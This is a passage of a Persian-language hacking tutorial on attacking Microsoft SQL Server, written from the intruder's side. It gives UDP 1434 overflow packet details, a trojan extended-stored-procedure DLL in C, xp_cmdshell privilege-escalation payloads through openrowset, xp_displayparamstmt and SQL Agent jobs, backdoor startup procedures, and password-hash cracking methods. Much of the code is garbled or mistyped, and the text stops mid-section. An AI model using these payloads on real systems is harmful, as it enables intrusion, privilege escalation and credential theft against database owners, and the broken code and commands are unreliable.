من هیچ گاه، هیچگونه مشکلی درزمانی که، این پورت بسته بوده، نداشتم. تمامی IIS–ENTERPRISE MANAGER-QUERY ANALYZER همگی به خوبی کار می کردند.

:X08

با فرستادن یک بایت از 0X08 در بسته UDP به پورت1434 این امکان به وجود می آید کهSQL Server بسیار افت کند یا به اصطلاح کشته شود. چیزی که در ابتدا یک حمله DoS معمولی تلقی می شود، با کمی تحقیق در مورد آنچه به وقوع می پیوندد، می تواند به یک HEAP OVER FLOW تبدیل شود. هنگامی که یک سرور می میرد بلافاصله، تابعSTRTOK() را فراخوانی می کند.

تابع STRTOK() به دنبال یک TOKEN (کارکتر) داده شده در یک رشته می گردد. در این صورت، اگر چیزی پیدا کند، pointer را به token برمی گرداند.. اگرtoken پیدا نشد،null pointer بازگردانده می شود.SQL Server هنگامی که تابعstrtok() را فرا می خواند، به دنبال یک Colon یا همان : می گردد. ولی ازآنجا که وجود ندارد، تابعstrtok()، یک مقدار پوچ(null)را باز می گرداند. اما هرکس که این قسمت از سرور را برنامه نویسی کرده است، چک نکرده که آیا عمل تابع موفقیت آمیز بوده یا نه، آنها pointer را به سوی تابع atoI() ارجاع می دهند، اما ازآنجا که مقدار آن پوچ است سرور crash می کند.

اگر یک بسته دوبایتی0x08\0x3A را بفرستیم، مقدار0x3a برابر بایک ":" می باشد، تابعstrtok() موفقیت آمیزبوده و اشاره گر بازگردانده می شود اماSQL Server باز Crash می کند. این بار هنگام فراخوانی تابعATOI()، این تابع یک رشته را گرفته و نشان می دهد، قسمت اول رشته یک عدد می باشد و بعد از آن عدد صحیح موجود در رشته را باز می گرداند. به عنوان مثال مقدار\X31\X32 به12 تبدیل می شود، اما از آنجایی که چیزی بعد از(:) نیست تابعATOI()، Crash می کند و اگر با یک بسته ی 3 بایتی با مقدار \X31\X3A\X08 بفرستیم SQL-SERVER زنده می ماند!! این بسیار شبیه ارتباط هایHOST:PORT می باشد، بنابراین ما یک رشته تقریبا بلند را وارد می کنیم که به22: در آخر پاکت متصل باشند. این بار، یک HEAP-OVER-FLOW به وجود آمده که به هکر امکان کنترل کامل برسرور را می دهد. در این مورد نیز داستان UDP و دیوارهای آتش نیزصادق است .

:X0A

این بار هیچ سیستمی، تسلیم نشده و کنترل به دست نمی آید. اما از یک دیدگاه بسیار جالب می باشد هنگامی که SQL Server، یک بسته را دریافت می کند که مقدار بایت اول آن برابر 0X0A باشد، سرور به مبدأ فرستنده بسته بایک بسته یک بایتی با مقدار0X0A جواب می دهد.

مشکل در اینجاست: اگر یک بسته به طوری جعل (SPOOF)شود که IP مبدأ آن به IP یک SQL Server تغییر کند و پورت مبدأ را به1434 تغییر دهیم و سپس آن را به یکSQL Server دیگر بفرستیم، SERVER دوم با یک بسته 0X0A به پورت 1434 UDP به آن پاسخ می دهد وSQL Server اول، با بسته 0X0A خود به پورتUDP 1434 سرورِ دوم، پاسخ می دهد و ...

تقریبا هیچ چیز دیگر جز بایت اول کاری نمی کند، مقادیر بعدی همانند0X06-0X03، یا هیچ کاری انجام نمی دهند یا یک پاسخ با همان اطلاعات به عنوان یک بسته 0X02 می فرستند.

:"HELLO" BUG

درآگوست سال2002، Dave Aitel، یک نوع در اختیار گرفتن سیستم را بدون نیاز به تصدیق هویت برای SQL-SERVER را درDEFCON معرفی کرد. برای اطلاع بیش تر دراین مورد به آدرس زیر مراجعه کنید .

HTTP://ONLINE.SECURITYFOCUS.COM/bid/15411.html

عملیات Sniffing در شبکه:

هنگامی که یک کاربر به یک SQL SERVER متصل می شود و هویت او به عنوان یک LOG-ON تصدیق می شود، به عنوان یک کاربرWINDOWSNT /2000، کلمه کاربری و رمز او برای پاک کردن TXT در کابل فرستاده می شود. روش رمزنگاری "ENCRIPTION" که برای پنهان کردن کلمه رمز به کار می رود، یک عملیات ساده BiteWise XOR می باشد. کلمه رمز به یک فرمت طویل ازکارکترها یا Unicode تبدیل می شود و هر بایت با مقدار ثابت برابر با 0Xa5، XOR خواهد شد. این مورد، خیلی راحت برای نتیجه گیری و کارکردن می باشد، چون هر بایت دوم از یک کلمه عبور به رمز در آمده شده درکابل 0XA5 شده و ما می دانیم که کلمه رمز در فرمت UNICODE بوده و هر بایت دوم برابر با پوچ یا NULL است و هنگامی که یک عدد با صفر (همان NULL)، XOR شود، جواب یکی خواهد بود:

0X41 XOR 0X00=0X41 , 0XA5 XOR 0X00=0XA5

به آن معنی که، اگرکسی یک SNIFFER بین Server و Client به کار ببرد، کار آسانی را برای به دست آوردن مشخصات هویت یک شخص کرده و با UNXOR کردن آن می تواند کلمه عبور اصلی را بازسازی کند. هنگامی که این کار انجام شد به طور یقین می توان دسترسی به SQL SERVERرا به دست آورد.

عملیات Brute Force:

به صورت معمول، SQL SERVER، به دلیل قوی ترین LOG IN برروی یک سیستم، یعنی 'SA' بدون داشتن کلمه رمز مشهور است.کرم SPIDA نشان داد که این گونه ابداعات هنوز در چه حد ابتدایی هستند. نفوذگر باید به خوبی چک کند که آیا می تواند به عنوان 'SA' بدون کلمه عبور LOG IN کند یا خیر. هنگامی کهSQL SERVER نصب می شود، فردی که در حال نصب آن است، باید تمام دقت خود را به کار ببرد تا اجازه ورود بدون کلمه رمز به 'SA' را ندهد.

نسخه های قدیمی SQL همانند 6,6.5 نیز یک کاربر به اسم'PROB' داشتند که آن نیز بدون کلمه عبور بود و این درمورد سیستم هایی که به SQL 2000 ارتقا پیدا کرده اند، نیز صادق است .

حساب دیگری نیز به طور معمول برروی SQL SERVER قرار دارد و آن DISTRIBUTER ADMIN می باشد. این حساب به طور پیش فرض یک کلمه رمز دارد که یک فراخوان بر تابع CREATEGUID() می باشد، تعداد زیادی از مدیران DB ها

این کلمه رمزرا برداشته و یا به یک چیز قابل حدس تغییر می دهند. هنگامی که روش های بالا بـا شکسـت مواجـه شـده انـد. شـروع بـه شکاندن کلمات رمز (BRUTE FORCE) برای حساب هایی که کلمه عبور دارند، روش کار می شود.

فایل ها: فایل هایی که معمولا حاوی کلمات کاربری و رمز عبور SQL می باشند:

اگر کسی بتواند دسترسی به فایل سیستم یک کامپیوتر که درحال ارتباط بایکSQL SERVER و یا خـــــــــود فایل هـای SQL SERVER پیدا کند، تعدادی فایل می باشند که امتحان کردن آنها برای وجود اطلاعاتی که موجـــــب دســـــترسی بـهSQL می شوند، با ارزش می باشد. درمورد Web Server ها، امتحان کردن سورس ACTIVE SERVER PAGES و یا فایل های ماننـد APPLICATION.CFM,GLOBAL.ASA با ارزش است. تلاش برای پیدا کردن فایل های باپسوندهای DSN. نیز جالب مـی باشـد. درمورد خود SQL Server، فایلِ SQLSP.log و SETUP.ISS و دو فایلTEMPRORY که بعد از نصب و یا ارتقا به جا می مانند، معمولا کلمات رمز و عبور را نگاه می دارند.

رویه های ذخیره شده ی Extended برای اسب های تراوا (تروجان – Trojan):

بعد از نصب کردن SQL SERVER، معـــــــــــــــمولا NTFS PERMISSION هـا برفایـل هـای Image گرفتـه شده (همانند: *.EXE,*.DLL) ضعیف می باشند، به طوری که این اجازه را به هرکسی می دهند تـا آنهـا را جـا بـه جـا و یـا Replace کنند. هنگامی کهSQL SERVER درحال اجرا باشد، جانشین کردن یک DLL که بارگیری(LOAD) شده باشد با یک نسخه آلـوده به تروجان (یا کلا هر چیزی) آسان نمی باشد. به هر حال DLL های EXTENDED STORED PROCEDURE ، آنهایی کـه بـا XP_ شروع می شوند، فقط و فقط هنگـامی اجـرا مـی شـوند کـه EXTENDED STORED PROCEDURE آنهـا اجـرا شـود، بنابراین می توان یکی ازاین فایل ها راجانشین کرد.

بهترین فایل ها برای انتخاب فایل هایی است که عموم قادر به دسترسی به آنها می باشند. همانندXP_SHOWCDV. کد C، برای EXTENDED STORED PROCEDUR به صورت زیر است .

```
//compile:
//c:\>cl /ldxprepl.c /link odbc.lib
#include<stdio.h>
#include<srv.h>
____declspec(dllexport)ulong__getxpversion()
{
return 1;
}
____declspec(dllexport)srvetcode xp-showcolv(srv_proc*psrvproc)
{
system(“my command”);
return 1;
}
```

و همـین کـافی اسـت! توجـه داشـته باشـید کـه کـد بـالا دو عمـل را بـه عهـده مـی گیـرد. اول procedure ذخیـره شـده و دوم GETXPUERSPN.

Sql-Server هنگامی از دومی استفاده می کند که کتابخانه ها را بارگیری نماید.کد درون XP-SHOWCOLV به طور ساده تابع SYSTEM() را برای اجرا کردن یک فرمان فرا می خواند. البته اگر نفوذگری تلاش می کردکه به اطلاعات SQL SERVER دسترسی پیدا کند، هنگامی که DLL در همان فضای آدرسی که خودِ سرور در حال اجرا است، بارگیری شود و بنابراین در همان سطح امنیت اجرا شود. اومی تواند تقریبا تمام کارهایی را که می خواهد، انجام دهد. هنگامی که XP-SHOWCOLV اجراشود، فرمان مورد نظر، اجرا می شود.

حمله به کلاینت ها:

به همان طریقی که SQL SERVERبه سرریز شدن بافر در پورتSQL MONITOR آسیب پذیر است، SQL SERVER ENTERPRISE MANAGER نیز آسیب پذیر می باشد.

با کد کردن یک سرورUDP که به پورت 1434 گوش می دهد، به نحوی که هنگام به وجود آمدن تقاضا توسطMMC برای تست کردن SQL SERVER محلی درشبکه، یک HOST NAME طولانی به بیرون بفرستد، آدرس بازگشتی ذخیره شده برروی پشته دوباره نوشته (OVER WRITTEN) می شود و در برگرداندن procedure، هکر می تواند کنترل مسیر اجرای MMC را به عهده گرفته وکدهای دلخواه خود را درهمان زمینه امنیتی کاربری که درحال اجرای ENTERPRISE MANAGER است را اجرا نماید.

این نکته باید پذیرفته شود که کاربری که درحال اجرای ENTERPRISE MANAGER می باشد اجازه دسترسی بهSQL SERVER را دارد و بنابراین یک حمله غیر مستقیم را می توان با اعتبار آن شخص برعلیهSQL SERVER انجام داد.

قسمت دوم- حملاتی که به تصدیق هویت (ATHENTICATION)احتیاج دارند :

لزومی به گفتن ندارد که تعداد آسیب هایی که توسط یک هکر می تواند مورد استفاده قرار بگیرد، هنگامی که دسترسی مورد تصدیق قرار گرفته به دست آمده است بسیار بیشتر می شود و دلیل این امر بسیار ساده می باشد. هنگامی که شخصی LOG IN شده باشد سطح عمل او، وسیع تر می باشد .

SQL SERVER، برنامه ای است که سطح عمل بسیار وسیعی دارد و این برای مدیران، بسیار خوب است، زیرا به آنها تا چند قدمی سطح عمل می دهد. اما از آنجا که در اکثر بحث های امنیتی گفته می شود هر چه یک برنامه با سطح عمل وسیع تر وComplex تر بوده، حفره های آن در تعداد بیشتر و بیشتر مشخص می شوند و sql server نیز ازاین قاعده مستثنی نیست. پس می توان SQL Server را اینطور توصیف کرد: پرکاربرد اما بسیار ناامن .

هدایت DB Server:

همان طور که در قبل گفته شد، دیتابیس اصلی SQL که تنظیمات سیستمی راکنترل می کند، MASTER DATABASE نام دارد. جایی که کاربرها تعریف شده اند، سایر دیتابیس ها لیست شده اند و تقریبا سایر چیزها نیز اینجا یافت می شوند. برای به نمایش درآمدن لیست کاربرها شما می توانیدQUERY زیررا اجرا نمایید.

```
SELECT NAME FROM SYS LOGINS
```

SYSLOGINS یـک منظـره از SQL SERVER 2000 مـی باشـد، کـه منشـأ آن جـدول اصـلی کاربرهـــــا یعنی SYSXLOGINS می باشد با انتخاب کردن SYSLOGINS دراینجا ما می توانیم به خـــــــواسته خـود درمـورد نسـخه هـای قبلی نیز برسیم. چون در نسخه های قدیمی ترSQL SERVER، جدول SYSXLOGINS وجود ندارد.

یک فرد با داشتن اجازه (ویا حقه زدن بهSQL SERVER به دادن اطلاعات به وسیله روش هایی که دراین مقاله ارائـه شـده اند) می تواند به *PASSWORD HASHE ها* نیز دسترسی پیدا کند.

```
SELECT NAME PASSWORD FROM SYSXLOGINS
```

در SQL-SERVER-2000 از آنجا که SYSLOGINS چیزی در مورد کلمات عبور ارائه نمی دهند، ما محتاج بـه اسـتفاده از SYSXLOGINS می باشیم. این عمل باعث مـی شـود کـه PASSWORD HASHES بازگردانـده شـوند. و در نتیجـه قـادر بـه شکسته شدن (BRUTE FORCE) می باشند. برای اطلاع بیشتر در این مورد به بخش کـرک کـردن Hash هـای رمزعبـور مراجعـه کنید.

برای گرفتن لیستی از دیتابیس های موجود بر سرور، می توانید از QUERY زیر استفاده کنید :

```
SELECT NAME FROM sysdatabase
```

هنگامی که دیتابیس دلخواه انتخاب شد، هکر می تواند اطلاعات در مورد آن را از جدولSYSOBJECTS به دست آورد. هر دیتابیس دارای یکی بوده و OBJECT مشخص شده اند.

SYSCOLOMNS و SYSOBJECTS دوستان ما هستند:

کسی که علاقه مند به SQL SERVER می باشد باید جدول SYSOBJECTS را به خوبی یاد گرفته و بشناسد. این جـدول شامل تمامی اطلاعات در مورد جدول ها، STORED PROCEDURE، توابع و سایر چیزهـا مـی باشـد. بـرای بـــــــــدست آوردن جدول های اختصاص داده شده به کاربران، نفوذگر می تواند تقاضای زیر را انجام دهد :

```
SELECT NAME,ID FROM sysobjects where type='u'
```

وبرای به دست آوردن و نمایش دادن ستون های جدول:

```
SELECT NAME FROM SYSOBJECTS WHERE ID=OBJEJ_id('table_name')
```

یک شخص می تواند با استفاده از operator های منطقی و ساده و مشابه، اطلاعات جذابی را درباره جدول ها و ستون های آنها در مدت زمان کم به دست آورد .

Snopping around the tempdb:

کاربران معمولا یک Procedure ذخیره شده موقت، برای اجرای یک دسته عملیات به وجود می آورند ومعمولا شامل اطلاعات مفیدی می باشند. به طور پیش فرض، هرکاربر می تواند متن این procedure های ذخیره شده را با اجرای *Query* زیر به دست آورد:

```
Select text from tempdb.db.syscomments
```

Buffer Overflows:

SQL Server، برای تعدادِ آسیب های سرریز شدنِ بافرِ آن درقبل، بسیار مشهور می باشد، حتی تا امروز، تعـــــــداد جدیدی over-flow برهمان اساس در حال کشف شدن است.

قبلا ما در مورد حمله تصدیق نشده بر پورت ***UDP 1434*** بحث کرده ایم و اینک ما آنهایی را امتحان می کنیم کـه بـه تصـدیق هویت احتیاج دارند، یک عده ممکن است بپرسند: چرا و آن هم در پرتوی**Monitor OverFlows** ؟ دلیل آن است که، گـاهی اوقـات پورت udp 1434در دسترس نمی باشد.

موقعیتی را تصور کنید که هکر می تواند، Aribitary SQL را از طریق وب به وسیله Injection، اجرا کند، اما دیوارهای آتش جلوگیری از دسترسی مستقیم بهSQL Server می کنند. در این چنین موقعیت هایی over flow هایی که به صـورت تأییـد شـده اجـرا می شوند بسیار مهم است. تعداد زیادی از سرریز شدن بافرها درتابع های مختلف و Extended Stored Procedures پیـدا شـده انـد. در این قسمت، به بررسی این over flow ها می پردازیم .

Extended Stored Procedures:

این سری از Porceudre ها (که در فصل های قبل راجع به آنها صحبت کرده ایم)، درمورد داشتن آسـیب هـایی کـه منجـر بـه سرریز شدن بافر، می شوند، شناخته شده اند:

1. **xp_controlqueueservice**
2. **xp_createprivatequeue**
3. **xp_createqueue**
4. **xp_deleteprivatequeue**
5. **xp_displayqueuemesgs**
6. **xp_decodequeuecmd**
7. **xp_dsninfo**
8. **xp_mergelineages**
9. **xp_oledbinfo**
10. **xp_proxiedmetadata**
11. **xp_readpkfromqueue**
12. **xp_readpkfromvorbin**
13. **xp_repl_encrypt**
14. **xp_restqueue**
15. **xp_sqlinventory**
16. **xp_unpackcab**
17. **xp_sprintf**
18. **xp_displayparamstmt**
19. **xp_showcolve**
20. **xp_updatecolvebm**
21. **xp_enumresultset**
22. **xp_deletequeue**

وظایف و نقش ها:

سه تابع OpenDataSource(),OpenRowSet(),Pwdencrypt() به داشتن آسیب های buffer overflow شناخته شده اند، اگرچه Bulk Insert نیز به سرزیر شدن بافر آسیب پذیر است، اما به طور معمولی فقط sysadmin ازآن استفاده می کند. که در مورد همه ی این موردها در فصول قبل صحبت شده است.

Runtime Patching:

ممکن است یک نفوذگر با اکسپلویت کردن یک آسیب سرریزشدن بافر، بخواهد سطح دسترسی خود را به DB به صورت تأیید شده ارتقا دهد. با اختصاص دادن و توصیف کردن ۳ بایت درحافظه، یک نفوذگر می تواند، به طور خیلی مؤثر یک کاربر را برابر با Sysadmin قرار دهد!! لزوما قبل از اینکه دسترسی به شی های یک DB داده شود، SQL Server این موضوع راچک می کند که آیا user id برابر با ۱ می باشد یا خیر.

UID1 به یک سازه در dbo کاربر و یا data base owner اشاره می کند و dbo هرکاری می تواند بکند. پس، با تغییر این کد درحافظه، بعد از فراخواندن virtual Protect() ، برای قابل نوشتن کردن سگمنت کد، یک هکر می تواند به طور بالقوه هر DB کاربری را به مدیر تبدیل کند. البته دفعه بعد که سرور از کار بایستد، این حالت نیز از بین می رود، برای اطلاع بیش تر دراین مورد حاضر به نوشتن مطالب در جزئیات بیشتر هستم (در Update بعدی این مقاله، این مورد به احتمال زیاد قرار داده خواهد شد)!!

خواندن File System:

xp_readerrorlog این اجازه را به کاربر می دهد که فایل ها را از File system بخواند:

```
Exec master..xp_readerrorlog 1,N' c:\boot.ini
```

این فایل ها احتیاج ندارند که بر پایه متنی باشند. Xp_readerrorlog قابلیتِ خواندنِ فایل های binary را نیزدارد.

خواندن Registry:

دو تا از extended stored procedures به عموم، اجازه خواندن از registry رامی دهند:

```
ExecXp_regread
‘HKEY_LOCAL_MACHINE’,’SOFTWARE\MICROSOFT\MSSQLSERVER\SETUP’,’SQLPATH’
```

و

```
exec xp_instance_regread ~~~~~
```

این ها برای به دست آوردن اطلاعات درمورد host می توانند مفید باشند.

کرک کردن پسوردها:

در sql server، کلمه عبورِ login یک کاربر، یا حداقل یک، hash یـک طرفـه آن در جـدولsysxlogin در DB مـــــرکزی، ذخیره می شود. تابع pwdencrypt() که برای hash کردنِ کلمات عبور، استفاده می شود، یک تابع داخلی بـوده و هنگـامی فراخوانـده می شود، به صورت زیر عمل می کند:

کد تابع، C time () را فرا می خواند که به سیستم زمان را به صورت DWORD برمی گرداند که بعد به عنوان یک Seed به تابعsrand() فرستاده می شود. تابعsrand() از Seed استفاده می نماید تا یک محل شروع کـه از آن تـابع را بتوانـد فرابخوانـد، بسـازد. تابع rand() دوباره فرخوانده می شود و دو DWORD بازگردانده می شوند که به Shorts و Concatenated تبدیل می شود. بعد ایـن به عنوان نمک یا سالت برای hash کردن Unicode پسورد کاربر با اسـتفاده از SHA بـه کـارمی رود. بـا دسترسـی داشـتن بـه hash ، عملیات برای به دست آوردن کلمه رمز بسیار آسان تر می شود.

دور زدن مکانیزم های کنترل دسترسی:

برای نسخه های قدیمی تر و یا پیچ نشده راههای زیادی برای گذر کردن از مکانیزم کنترل دسترسی می باشد. درحالـت عـادی فقط sysadmin باید قادر به دسترسی به procedure ذخیـره شـده ی xp_cmdshell باشـد، کـه بـه کـاربر اجـازه مـی دهـد، کـه یـک سیستمی را ازطریق sql Server اجرا کند. بنابراین ما این را به عنوان مثال به کارمی بریم.

رویه های ذخیره شده موقت:

زمانی بود که sql server، هیچ چیز را در مورد اجازه و سطح دسترسی برروی procedure های ذخیره شده موقتی چـک نمـی کرد. دلیل این بود که procedure های ذخیره شده موقت، باید قابل دسترسی به کسی باشند کـه آنهـا را ایجـاد کـرده اسـت. بنـابراین، کاربر اجازه دسترسی به آنها رادارد و این به حساب ربطی ندارد. اما به هر حال حقیقت این اسـت کـه ایـن procedure ذخیـره شـده ی موقت، ممکن است به چیزی دسترسی داشته باشد که کاربر دسترسی به آن را ندارد.

```
Create proc # mycmd as
    Exec master .. xp_cmdshell 'dir>c:\temp-stored-procedure.txt
```

OPENROWSET و گزارش های ADHOC:

Openrowset به کاربر این اجازه را می دهد تا به هرSQL Server وصل شده و یکQuery دلخواه را در آن اجرا کند. بدون آنکه آن سرور را به عـــــنوان ســـــرور لیـــــنک شده قلمداد کند. این به عنوان یکadhoc query قلمداد می شود. از آنجا که خود SQL Server هست که یک Sub Query انجام می دهد، این امکان وجود دارد که آن را مجبـور کنـیم کـه بـه خـودش log in شـود، بدون آنکه اعتباری فراهم آورد:

```
Select * from  openrowset ('Sqloledb',trusted_connection=yes;data source=local_server_name;'set
fmtonly off exec master ..xp_cmdshell" dir> c:\adchoc.txt
```

اخیرا تعداد جدیدتری از آسیب هایی که منجر به گذشتن ازکنترل دسترسی می شوند، پیدا شده است.

اعتبارسازی ویندوز و Extended Stored Procedure ها:

سه مورد از این نوع procedure ها (بر اساس اطلاعات نویسنده یعنی Dangerous Wolf)، هستند که می توانند برای گذشتن ازکنترل دسترسی ویندوز به وسیله یک کاربرتأیید شده ی ویندوز، به کارروند:

Xp_execreslutset
Xp_printstatements
Xp_displayparamstm

این سه procedure که توسط xprepl.dll تأمین می شوند، به کاربر این اجازه را می دهند که یکquery را اجرا کند. به هرحال چیزی که باعث می شود هکر از این ها استفاده کند، این است که هنگامی که یکquery اجرا می شود، توسط یک reconnectionبه سرور انجام می شود، دراین حالت،SQL Server به خودش Login می کند وQuery را در زمینه خود اجرا می کند.

مثال:

```
Exec xp_displayparamstmt N’ exec master ..xp_cmdshell’ dir> c:\result.txt”,N’master’,1
```

طرح اجرای گزارش به وسیله SQL Agent:

Loginهای SQL Server هنوز قادر به استفاده از extended storded procedures هستند، اما این کار توسط ارائه دادن یک طرح به SQL AGENT انجام می شود. همه این اجازه را دارند تا طرح ها را ایجادو ارائه بدهند، تا توسط SQL AGENT اجرا شود. برای این کار، فرد، از مخلوطی از چتند procedure ذخیره شده در msdb همانند SP_ADD_JOB & SP_ADD_JOB_STEP استفاده می کند. از آنجا کهSQL AGENT فراتر از یک LOGIN ساده می باشد، معمولا بعد از اجرا در زمینه امنیتی سیستم محلی، باید مطمئن شود هنگامی که یک T-sql ارائه می شود، نمی تواند، مورد سو استفاده قرارگیرد.

با اجرای SETUSER N'GUEST'WITH NORESET، SQL در حقیقت به بالاترین سطح خود می رسد. بنابراین یک کاربر با سطح کاربری پایین قادر به ارائه دادن چیزی همانند exec master ..xp_cmdshell 'dir’ نخواهد داشت. به هر حال این مانع را می توان موقتا با مجبور کردن SQL Agent ، به ایجاد ارتباط مجدد(reconnect) بعد ازوارد شدن به سطح بالای خود، دورزد. هکر برای این کار می تواند یکی از آسیب پذیری های procedure های ذکر شده دربالا را همانندxp-execresultset به کار ببرد:

```
--Getsystemonsql
--forthistoworkthesqlagentshoudberunning
--further,youwillneed to changservernamein
--sp-add-jobserver to the sql serverof your choise
--18thjuly2002
USEMSDB
EXEC SP-ADD-JOB@JOB-NAME= ’ GETSYSTEMONSQL’,
@ENABELED=1,
@DESCRIPTION=’THISWILLGIVELOW PRIVILAGEDUSERACCESSTOM XP-CMDSHELL’,
@DELETE-LEVEL=1
EXEC SP-ADD-JOBSTEP@JOBNAME=’GETSYSTEM ON SQL’,
@STEP_NAME=EXEC my sql’,
@SUBSYSTEM=’TSQL’,
@COMMAND=’EXEC MASTER..XP-EXECRESULTSET  N”SELECT”EXEC\
MASTER..XP-CMDSHELL  “DIR>C:\AGENT-JOB-RESULTS.TXT””””,”N”MASTER”’
```

EXEC SP-ADD-JOBSERVER@JOB-NAME='GETSYSTEMONSQL',
@SERVER-NAME='SERVER-NAME''
EXEC.SP-START-JOB@JOBNAME='GETSYSTEMONSQL',

در حالی که از بین بردن اجازه برای دسترسی به procedure ذخیره شده ی آسیب پذیر از طرف عموم انجام می پـذیرد، یـک کاربر عادی نیز نباید قادر باشد تایک پروژه را به SQL Agent ارائه دهد (در صورت امکان مشکلاتی جدی رخ مـی دهـد). بـرای مثـال یک کاربر عادی می تواند فایل هـای دلخـواه را بـا محتـوای دلخـواه، از طریـق ارائـه دادن یـک @out-put-file-name بـه sp-add-jobstep ایجاد یا دوباره نویسی کند. حتی نفوذگر می تواند یک batch file را برای انـــجام بعضـــــی ازکارهـای خـاص، در پوشـه ی مدیر قرار دهد و یا کارِ خطرناکِ دیگری را در همین سطح، انجام دهد.

BackDoors:

هنگامی که کنترل یک SQL Server به دست می آید، یک هکر ممکن است کارهای زیادی انجام دهد تـا بـرای ادامـه داشـتن دسترسی در مواقع دیگر، مشکلی نداشته باشد.

رویه های Startup:

Procedure های ذخیره شده ای که به آرگومان احتیاجی ندارند، می توانند طوری تنظیم شوند، که هنگامی کـه SQL Server از دوبـاره اجـرا مـی شـود، اجـرا شـوند. بـــرای مثـال اگـر عمـل replication انجـام شـود، procedure یـا رویـــــــــه ی sp_msrepl_startupبه صورت خودکار اجرا می شود. این چنین procedure هایی، درزمینـه امنیتـیSQL Server، اجـرا مـی شـوند و بنابراین کنترل کامل بر DB را سرور دارند. یک هکر ممکن است که یـک procedure سـاخته و آن را بـه عنـوان یـک procedure یـا رویه ی STARTUPتنظیم کند، که یکLOGIN ساخته و اطلاعاتLOGIN را در یک DBO ROLE اضافه کند.

رویه های معمولی اجرایی (Commonly Run Procedures):

Procedure هایی همانندSP_HELP هدف های نمونه ای برای تروجان ها می باشند. همچنین رویه ی SP_PASSWORD، ممکن است، برای نوشتن کلمه عبور جدیدِ هرکاربر درون یک جدول، به کار رود.

Administrator x status:

هنگامی که SQL-Server در یک سیستم نصب می شود، BUILTIN\ADMINISTRATOR ، به جدول SYSUSERو همچنین DBOROLE اضافه می شود. در جدول SYSXLOGINS برای این کاربر، XSTATUS برابـر 22 تعریـف شـده اسـت. در حقیقت، این مقدار نوع LOGIN را مشخص می کند. باتغییر دادن XSTATUS به 18، هکـر مـی توانـد بـه یـکSQL SERVER ب ااستفاده از نام کاربری استانداردِ BUILTIN\ADMINISTRATOR ، بدون هیچ کلمه رمزی LOGIN کند. ایـن درحـالی اسـت کـه مـــدیرمحلی سیستم نیز می تواند در آن زمان LOGIN شودو این در مورد تمامی LOGIN های برپایه ویندوز، صحیح می باشد.

بخش ۷: Crack کردنِ Hash های رمزعبور در SQL

سرور SQL چگونه پسوردها را انبار می کند؟

SQL Server از یک تابع غیر اسنادی pwdencrypt() برای تولید Hash یک کاربر استفاده می کند که در تابلوی پایگاه داده رئیس (sysxlogins table of master database) ذخیره می گردد. به هر حال این مورد را کم و بیش افراد می دانند. اما چیزی که هنوز انتشار نیافته، جزئیاتِ عمل pwdencrypt() می باشد. این قسمت از مقاله بعضی از نقاط ضعف در SQL Server را بازگو می کند.

Hash پسورد سرور SQL شبیه چیست؟

با استفاده از تحلیل کننده سوال، یا ابزار SQL انتخاب شده توسط خودتان، کار را ادامه دهید. پسورد را از master.abo.sysxlogins در قسمت name='sa' انتخاب کنید. در پایان چیزی شبیه به زیر خواهید دید:

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B

مثلا این Hash یکی از پسوردها می تواند باشد (که در اینجا مربوط به sa می باشد).

با pwdencrypt() چه چیزی را می توانیم نتیجه بگیریم؟

جواب زمان است!! برای درک مراحل زیر را انجام دهید:

ابتدا Pwdencrypt('foo') را انتخاب کنید (که به اصطلاح می گوییم پرسش).رشته زیر را دریافت خواهید کرد:

0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218969D09FFB97F5035CF7142521576

چند ثانیه بعد پرسش را مجددا تکرار کنید. Pwdencrypt('foo') را انتخاب کنید. که مورد زیر دریافت خواهد شد:

0x0100D741861463DFFF7B528BF4E5925057249C61A696ACB92F532819DC22ED6BE374591FAAF6C38A2EADAA57FDF

همان طور که مشاهده می کنید، دو Hash دریافت شده متفاوت هستند و این در حالی است که هر دو ورودی، برابر با 'foo' می باشد. از این کار می توان نتیجه گرفت که زمان نقشی مهم در ایجاد و ذخیره شدن Hash های پسورد ایفا می کند. برای تفهیم بهتر، فرض کنید دو نفر در یک زمان به User خود لاگین کنند و اتفاقا پسوردهای آنها هم با هم برابر باشد، اکنون SQL Server چه باید بکند؟ پس همان طور که متوجه شدید، تنها راه حل برای SQL Server در این رخداد، این است که، اگر دو نفر از یک رمزعبور استفاده کنند، باید Hash های آنها متفاوت باشد و در نتیجه از فاش شدن اینکه پسوردهای آنها یکسان است، جلوگیری به عمل خواهد آمد.

وضعیت

پرسش را فعال کنید و Pwdencrypt('AAAAAA') را انتخاب کنید که حاصل بصورت زیر است:

0x01008444930543174C59CC918D34B6A12C9CC9EF99CC4769F819B43174C59CC918D34B6A12C9CC9EF99C4769F819B

اکنون می توانیم توجه کنیم دو hash پسورد را در اینجا پیدا کنیم. شاید با نگاه اول این کار سخت به نظر آید. اما برای شما hash فوق را تجزیه و مرتب می کنم که به صورت زیر می باشد:

0x0100
84449305
43174C59CC918D34B6A12C9CC9EF99C4769F819B
43174C59CC918D34B6A12C9CC9EF99C4769F819B

همان طور که می بینید، ۴۰ کاراکتر آخر برابر با ۴۰ کاراکتر ماقبل آخر می باشند (که بعد از تجزیه خط چهار و سه منظور است). رخداد این امر به آن معناست که پسورد دوبار ذخیره شده که یکی از آنها پسورد نفوذپذیر Normal و دیگری پسورد ورشن حروف بزرگ می باشد. پس این متد برای کسی که سعی کند پسوردهای SQL را کرک کند، جالب نیست (البته اگر راه راحت تری موجود باشد). علاوه بر مجبور بودن شخص برای شکستن یک رمزعبور نفوذپذیر وضعیت، آنها فقط نیاز دارند که حروف بزرگ را بررسی کنند. این امر تعداد کاراکترهایی که برای کرک استفاده می شود، را کاهش می دهد.

سالت (Salt) واضح

